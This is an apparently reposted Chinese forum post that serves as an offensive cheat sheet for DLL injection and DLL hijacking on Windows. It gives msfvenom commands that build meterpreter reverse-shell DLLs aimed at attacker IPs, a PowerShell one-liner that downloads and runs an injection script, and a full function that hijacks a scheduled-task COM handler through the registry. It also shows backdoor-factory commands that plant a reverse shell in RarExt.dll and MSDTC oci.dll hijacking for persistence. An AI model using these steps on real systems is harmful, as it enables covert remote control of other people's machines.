马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
x
DLL注入
Powershell
- 生成DLL
- >msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=6666 -f dll -o /var/www/html/x.dll
- >use exploit/multi/handler
- >set payload windows/x64/meterpreter/reverse_tcp
- >Powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.105/powersploit/CodeExecution/Invoke-DllInjection.ps1'); Invoke-DllInjection -ProcessID pid -Dll .\1.dll"
复制代码 InjectProc
- 生成DLL
- #msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12138 -f dll -o /var/www/html/qq.dll
- #use exploit/multi/handler
- #set payload windows/x64/meterpreter/reverse_tcp
- 使用如下命令注入进程
- >InjectProc.exe dll_inj qq.dll xx.exe(存在的进程)
复制代码
DLL挟制筹划任务
- function Invoke-ScheduledTaskComHandlerUserTask
- {
- [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
- Param (
- [Parameter(Mandatory = $True)]
- [ValidateNotNullOrEmpty()]
- [String]
- $Command,
- [Switch]
- $Force
- )
- $ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32"
- if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
- New-Item $ScheduledTaskCommandPath -Force |
- New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
- }else{
- Write-Verbose "Key already exists, consider using -Force"
- exit
- }
- if (Test-Path $ScheduledTaskCommandPath) {
- Write-Verbose "Created registry entries to hijack the UserTask"
- }else{
- Write-Warning "Failed to create registry key, exiting"
- exit
- }
- }
复制代码- Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\testmsg.dll" -Verbose
- 重启权限可维持
复制代码
DLL署理挟制右键
- 右键对应的注册表路径是
- HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers
- 使用autoruns查看加载的DLL
复制代码
- 以rarext.dll为例
- 使用https://github.com/rek7/dll-hijacking创建代理DLL
- 注意修改parse.py中dumpbin.exe的位置
复制代码
- >python3 parse.py -d rarext.dll
复制代码
- 修改原DLL为rarext_.dll,重新生成解决方案命名为rarext.dll
- 将两个DLL放入原目录,重启
复制代码
DLL挟制
挟制1
- 注册表
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls下添加 "lpk.dll"(若无,自己创建)
- ExcludeFromKnownDlls可使KnownDLLs失效
- 需要重新启动电脑
- 查找可劫持的DLL:
- 1.启动程序
- 2.使用Process Explorer查看该应用程序启动后加载的DLL。
- 3.从已经加载的DLL列表中,查找在上述“KnownDLLs注册表项”中不存在的DLL。
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
- 4.编写第三步中获取到的DLL的劫持DLL。
- 5.将编写好的劫持DLL放到该应用程序目录下,重新启动该应用程序,检测是否劫持成功。
复制代码
- Explorer.exe启动调用winrar文件夹的RarExt.dll
- Msf监听
复制代码
- 复制dll文件到the-backdoor-factory文件夹中,加载恶意dll进原dll
- >python backdoor.py -f RarExt.dll -s reverse_shell_tcp_inline -P 12138 -H 192.168.0.107 指定为kali监听的IP和端口
复制代码
- 生成好的dll在backdoored文件夹,传入靶机中,替换原dll文件,最好把原dll保存备份。
- 每次打开windows资源管理器的时候,即可上线。重启可维持
复制代码
挟制2
- 使用
- https://github.com/coca1ne/DLL_Hijacker
- https://github.com/git20150901/DLLHijack_Detecter
- 查看要劫持的DLL的函数导出表,会直接生成cpp源码,重编译指向恶意代码
- DLLHijack_Detecter可查看程序加载的不在KnownDLLs中的DLL
复制代码 MSDTC服务挟制
- 服务名称MSDTC,显示名称Distributed Transaction Coordinator
- 对应进程msdtc.exe,位于%windir%system32
- C:\Windows\System32\wbem\
- 服务启动搜索注册表位置计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI
- #msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.51 LPORT=4444 -f dll -o /var/www/html/oci.dll
- Oci.dll放入c:\windows\system32\
- 重启服务即可
- >taskkill /f /im msdtc.exe
复制代码 Rattler
- 自动化查找可劫持的DLL
- https://github.com/sensepost/rattler
- 使用
- >Rattler_x64.exe calc.exe 1
- 会列出可被劫持的DLL
复制代码
- 按程序读取DLL位置顺序,把恶意DLL放入程序同目录后,执行程序即可。
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |